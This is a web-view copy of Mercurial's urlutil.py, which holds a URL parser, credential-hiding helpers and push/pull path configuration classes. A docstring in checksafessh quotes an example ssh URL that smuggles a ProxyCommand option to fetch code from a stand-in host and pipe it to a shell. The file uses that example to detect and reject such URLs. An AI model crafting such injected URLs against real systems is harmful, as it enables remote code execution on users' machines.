Mercurial > hg
view mercurial/utils/urlutil.py @ 46924:ca0049946e9a
split: avoid strip if split is a no-op (identical to original)
Differential Revision: https://phab.mercurial-scm.org/D10389
author | Kyle Lippincott <spectral@google.com> |
---|---|
date | Mon, 12 Apr 2021 19:25:34 -0700 |
parents | efadec3ea8e2 |
children | 93c224dc099b |
line wrap: on
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# utils.urlutil - code related to [paths] management # # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. import os import re as remod import socket from ..i18n import _ from ..pycompat import ( getattr, setattr, ) from .. import ( encoding, error, pycompat, urllibcompat, ) if pycompat.TYPE_CHECKING: from typing import ( Union, ) urlreq = urllibcompat.urlreq def getport(port): # type: (Union[bytes, int]) -> int """Return the port for a given network service. If port is an integer, it's returned as is. If it's a string, it's looked up using socket.getservbyname(). If there's no matching service, error.Abort is raised. """ try: return int(port) except ValueError: pass try: return socket.getservbyname(pycompat.sysstr(port)) except socket.error: raise error.Abort( _(b"no port number associated with service '%s'") % port ) class url(object): r"""Reliable URL parser. This parses URLs and provides attributes for the following components: <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> Missing components are set to None. The only exception is fragment, which is set to '' if present but empty. If parsefragment is False, fragment is included in query. If parsequery is False, query is included in path. If both are False, both fragment and query are included in path. See http://www.ietf.org/rfc/rfc2396.txt for more information. Note that for backward compatibility reasons, bundle URLs do not take host names. That means 'bundle://../' has a path of '../'. Examples: >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> >>> url(b'ssh://[::1]:2200//home/joe/repo') <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> >>> url(b'file:///home/joe/repo') <url scheme: 'file', path: '/home/joe/repo'> >>> url(b'file:///c:/temp/foo/') <url scheme: 'file', path: 'c:/temp/foo/'> >>> url(b'bundle:foo') <url scheme: 'bundle', path: 'foo'> >>> url(b'bundle://../foo') <url scheme: 'bundle', path: '../foo'> >>> url(br'c:\foo\bar') <url path: 'c:\\foo\\bar'> >>> url(br'\\blah\blah\blah') <url path: '\\\\blah\\blah\\blah'> >>> url(br'\\blah\blah\blah#baz') <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> >>> url(br'file:///C:\users\me') <url scheme: 'file', path: 'C:\\users\\me'> Authentication credentials: >>> url(b'ssh://joe:xyz@x/repo') <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> >>> url(b'ssh://joe@x/repo') <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> Query strings and fragments: >>> url(b'http://host/a?b#c') <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) <url scheme: 'http', host: 'host', path: 'a?b#c'> Empty path: >>> url(b'') <url path: ''> >>> url(b'#a') <url path: '', fragment: 'a'> >>> url(b'http://host/') <url scheme: 'http', host: 'host', path: ''> >>> url(b'http://host/#a') <url scheme: 'http', host: 'host', path: '', fragment: 'a'> Only scheme: >>> url(b'http:') <url scheme: 'http'> """ _safechars = b"!~*'()+" _safepchars = b"/!~*'()+:\\" _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match def __init__(self, path, parsequery=True, parsefragment=True): # type: (bytes, bool, bool) -> None # We slowly chomp away at path until we have only the path left self.scheme = self.user = self.passwd = self.host = None self.port = self.path = self.query = self.fragment = None self._localpath = True self._hostport = b'' self._origpath = path if parsefragment and b'#' in path: path, self.fragment = path.split(b'#', 1) # special case for Windows drive letters and UNC paths if hasdriveletter(path) or path.startswith(b'\\\\'): self.path = path return # For compatibility reasons, we can't handle bundle paths as # normal URLS if path.startswith(b'bundle:'): self.scheme = b'bundle' path = path[7:] if path.startswith(b'//'): path = path[2:] self.path = path return if self._matchscheme(path): parts = path.split(b':', 1) if parts[0]: self.scheme, path = parts self._localpath = False if not path: path = None if self._localpath: self.path = b'' return else: if self._localpath: self.path = path return if parsequery and b'?' in path: path, self.query = path.split(b'?', 1) if not path: path = None if not self.query: self.query = None # // is required to specify a host/authority if path and path.startswith(b'//'): parts = path[2:].split(b'/', 1) if len(parts) > 1: self.host, path = parts else: self.host = parts[0] path = None if not self.host: self.host = None # path of file:///d is /d # path of file:///d:/ is d:/, not /d:/ if path and not hasdriveletter(path): path = b'/' + path if self.host and b'@' in self.host: self.user, self.host = self.host.rsplit(b'@', 1) if b':' in self.user: self.user, self.passwd = self.user.split(b':', 1) if not self.host: self.host = None # Don't split on colons in IPv6 addresses without ports if ( self.host and b':' in self.host and not ( self.host.startswith(b'[') and self.host.endswith(b']') ) ): self._hostport = self.host self.host, self.port = self.host.rsplit(b':', 1) if not self.host: self.host = None if ( self.host and self.scheme == b'file' and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') ): raise error.Abort( _(b'file:// URLs can only refer to localhost') ) self.path = path # leave the query string escaped for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): v = getattr(self, a) if v is not None: setattr(self, a, urlreq.unquote(v)) def copy(self): u = url(b'temporary useless value') u.path = self.path u.scheme = self.scheme u.user = self.user u.passwd = self.passwd u.host = self.host u.path = self.path u.query = self.query u.fragment = self.fragment u._localpath = self._localpath u._hostport = self._hostport u._origpath = self._origpath return u @encoding.strmethod def __repr__(self): attrs = [] for a in ( b'scheme', b'user', b'passwd', b'host', b'port', b'path', b'query', b'fragment', ): v = getattr(self, a) if v is not None: attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) return b'<url %s>' % b', '.join(attrs) def __bytes__(self): r"""Join the URL's components back into a URL string. Examples: >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) 'http://user:pw@host:80/?foo=bar&baz=42' >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) 'http://user:pw@host:80/?foo=bar%3dbaz' >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) 'ssh://user:pw@[::1]:2200//home/joe#' >>> bytes(url(b'http://localhost:80//')) 'http://localhost:80//' >>> bytes(url(b'http://localhost:80/')) 'http://localhost:80/' >>> bytes(url(b'http://localhost:80')) 'http://localhost:80/' >>> bytes(url(b'bundle:foo')) 'bundle:foo' >>> bytes(url(b'bundle://../foo')) 'bundle:../foo' >>> bytes(url(b'path')) 'path' >>> bytes(url(b'file:///tmp/foo/bar')) 'file:///tmp/foo/bar' >>> bytes(url(b'file:///c:/tmp/foo/bar')) 'file:///c:/tmp/foo/bar' >>> print(url(br'bundle:foo\bar')) bundle:foo\bar >>> print(url(br'file:///D:\data\hg')) file:///D:\data\hg """ if self._localpath: s = self.path if self.scheme == b'bundle': s = b'bundle:' + s if self.fragment: s += b'#' + self.fragment return s s = self.scheme + b':' if self.user or self.passwd or self.host: s += b'//' elif self.scheme and ( not self.path or self.path.startswith(b'/') or hasdriveletter(self.path) ): s += b'//' if hasdriveletter(self.path): s += b'/' if self.user: s += urlreq.quote(self.user, safe=self._safechars) if self.passwd: s += b':' + urlreq.quote(self.passwd, safe=self._safechars) if self.user or self.passwd: s += b'@' if self.host: if not (self.host.startswith(b'[') and self.host.endswith(b']')): s += urlreq.quote(self.host) else: s += self.host if self.port: s += b':' + urlreq.quote(self.port) if self.host: s += b'/' if self.path: # TODO: similar to the query string, we should not unescape the # path when we store it, the path might contain '%2f' = '/', # which we should *not* escape. s += urlreq.quote(self.path, safe=self._safepchars) if self.query: # we store the query in escaped form. s += b'?' + self.query if self.fragment is not None: s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) return s __str__ = encoding.strmethod(__bytes__) def authinfo(self): user, passwd = self.user, self.passwd try: self.user, self.passwd = None, None s = bytes(self) finally: self.user, self.passwd = user, passwd if not self.user: return (s, None) # authinfo[1] is passed to urllib2 password manager, and its # URIs must not contain credentials. The host is passed in the # URIs list because Python < 2.4.3 uses only that to search for # a password. return (s, (None, (s, self.host), self.user, self.passwd or b'')) def isabs(self): if self.scheme and self.scheme != b'file': return True # remote URL if hasdriveletter(self.path): return True # absolute for our purposes - can't be joined() if self.path.startswith(br'\\'): return True # Windows UNC path if self.path.startswith(b'/'): return True # POSIX-style return False def localpath(self): # type: () -> bytes if self.scheme == b'file' or self.scheme == b'bundle': path = self.path or b'/' # For Windows, we need to promote hosts containing drive # letters to paths with drive letters. if hasdriveletter(self._hostport): path = self._hostport + b'/' + self.path elif ( self.host is not None and self.path and not hasdriveletter(path) ): path = b'/' + path return path return self._origpath def islocal(self): '''whether localpath will return something that posixfile can open''' return ( not self.scheme or self.scheme == b'file' or self.scheme == b'bundle' ) def hasscheme(path): # type: (bytes) -> bool return bool(url(path).scheme) # cast to help pytype def hasdriveletter(path): # type: (bytes) -> bool return bool(path) and path[1:2] == b':' and path[0:1].isalpha() def urllocalpath(path): # type: (bytes) -> bytes return url(path, parsequery=False, parsefragment=False).localpath() def checksafessh(path): # type: (bytes) -> None """check if a path / url is a potentially unsafe ssh exploit (SEC) This is a sanity check for ssh urls. ssh will parse the first item as an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. Let's prevent these potentially exploited urls entirely and warn the user. Raises an error.Abort when the url is unsafe. """ path = urlreq.unquote(path) if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): raise error.Abort( _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) ) def hidepassword(u): # type: (bytes) -> bytes '''hide user credential in a url string''' u = url(u) if u.passwd: u.passwd = b'***' return bytes(u) def removeauth(u): # type: (bytes) -> bytes '''remove all authentication information from a url string''' u = url(u) u.user = u.passwd = None return bytes(u) def get_push_paths(repo, ui, dests): """yields all the `path` selected as push destination by `dests`""" if not dests: if b'default-push' in ui.paths: yield ui.paths[b'default-push'] elif b'default' in ui.paths: yield ui.paths[b'default'] else: raise error.ConfigError( _(b'default repository not configured!'), hint=_(b"see 'hg help config.paths'"), ) else: for dest in dests: yield ui.getpath(dest) def get_pull_paths(repo, ui, sources, default_branches=()): """yields all the `(path, branch)` selected as pull source by `sources`""" if not sources: sources = [b'default'] for source in sources: url = ui.expandpath(source) yield parseurl(url, default_branches) def parseurl(path, branches=None): '''parse url#branch, returning (url, (branch, branches))''' u = url(path) branch = None if u.fragment: branch = u.fragment u.fragment = None return bytes(u), (branch, branches or []) class paths(dict): """Represents a collection of paths and their configs. Data is initially derived from ui instances and the config files they have loaded. """ def __init__(self, ui): dict.__init__(self) for name, loc in ui.configitems(b'paths', ignoresub=True): # No location is the same as not existing. if not loc: continue loc, sub_opts = ui.configsuboptions(b'paths', name) self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts) for name, p in sorted(self.items()): p.chain_path(ui, self) def getpath(self, ui, name, default=None): """Return a ``path`` from a string, falling back to default. ``name`` can be a named path or locations. Locations are filesystem paths or URIs. Returns None if ``name`` is not a registered path, a URI, or a local path to a repo. """ # Only fall back to default if no path was requested. if name is None: if not default: default = () elif not isinstance(default, (tuple, list)): default = (default,) for k in default: try: return self[k] except KeyError: continue return None # Most likely empty string. # This may need to raise in the future. if not name: return None try: return self[name] except KeyError: # Try to resolve as a local path or URI. try: # we pass the ui instance are warning might need to be issued return path(ui, None, rawloc=name) except ValueError: raise error.RepoError(_(b'repository %s does not exist') % name) _pathsuboptions = {} def pathsuboption(option, attr): """Decorator used to declare a path sub-option. Arguments are the sub-option name and the attribute it should set on ``path`` instances. The decorated function will receive as arguments a ``ui`` instance, ``path`` instance, and the string value of this option from the config. The function should return the value that will be set on the ``path`` instance. This decorator can be used to perform additional verification of sub-options and to change the type of sub-options. """ def register(func): _pathsuboptions[option] = (attr, func) return func return register @pathsuboption(b'pushurl', b'pushloc') def pushurlpathoption(ui, path, value): u = url(value) # Actually require a URL. if not u.scheme: ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name) return None # Don't support the #foo syntax in the push URL to declare branch to # push. if u.fragment: ui.warn( _( b'("#fragment" in paths.%s:pushurl not supported; ' b'ignoring)\n' ) % path.name ) u.fragment = None return bytes(u) @pathsuboption(b'pushrev', b'pushrev') def pushrevpathoption(ui, path, value): return value class path(object): """Represents an individual path and its configuration.""" def __init__(self, ui, name, rawloc=None, suboptions=None): """Construct a path from its config options. ``ui`` is the ``ui`` instance the path is coming from. ``name`` is the symbolic name of the path. ``rawloc`` is the raw location, as defined in the config. ``pushloc`` is the raw locations pushes should be made to. If ``name`` is not defined, we require that the location be a) a local filesystem path with a .hg directory or b) a URL. If not, ``ValueError`` is raised. """ if not rawloc: raise ValueError(b'rawloc must be defined') # Locations may define branches via syntax <base>#<branch>. u = url(rawloc) branch = None if u.fragment: branch = u.fragment u.fragment = None self.url = u # the url from the config/command line before dealing with `path://` self.raw_url = u.copy() self.branch = branch self.name = name self.rawloc = rawloc self.loc = b'%s' % u self._validate_path() _path, sub_opts = ui.configsuboptions(b'paths', b'*') self._own_sub_opts = {} if suboptions is not None: self._own_sub_opts = suboptions.copy() sub_opts.update(suboptions) self._all_sub_opts = sub_opts.copy() self._apply_suboptions(ui, sub_opts) def chain_path(self, ui, paths): if self.url.scheme == b'path': assert self.url.path is None try: subpath = paths[self.url.host] except KeyError: m = _('cannot use `%s`, "%s" is not a known path') m %= (self.rawloc, self.url.host) raise error.Abort(m) if subpath.raw_url.scheme == b'path': m = _('cannot use `%s`, "%s" is also define as a `path://`') m %= (self.rawloc, self.url.host) raise error.Abort(m) self.url = subpath.url self.rawloc = subpath.rawloc self.loc = subpath.loc if self.branch is None: self.branch = subpath.branch else: base = self.rawloc.rsplit(b'#', 1)[0] self.rawloc = b'%s#%s' % (base, self.branch) suboptions = subpath._all_sub_opts.copy() suboptions.update(self._own_sub_opts) self._apply_suboptions(ui, suboptions) def _validate_path(self): # When given a raw location but not a symbolic name, validate the # location is valid. if ( not self.name and not self.url.scheme and not self._isvalidlocalpath(self.loc) ): raise ValueError( b'location is not a URL or path to a local ' b'repo: %s' % self.rawloc ) def _apply_suboptions(self, ui, sub_options): # Now process the sub-options. If a sub-option is registered, its # attribute will always be present. The value will be None if there # was no valid sub-option. for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions): if suboption not in sub_options: setattr(self, attr, None) continue value = func(ui, self, sub_options[suboption]) setattr(self, attr, value) def _isvalidlocalpath(self, path): """Returns True if the given path is a potentially valid repository. This is its own function so that extensions can change the definition of 'valid' in this case (like when pulling from a git repo into a hg one).""" try: return os.path.isdir(os.path.join(path, b'.hg')) # Python 2 may return TypeError. Python 3, ValueError. except (TypeError, ValueError): return False @property def suboptions(self): """Return sub-options and their values for this path. This is intended to be used for presentation purposes. """ d = {} for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions): value = getattr(self, attr) if value is not None: d[subopt] = value return d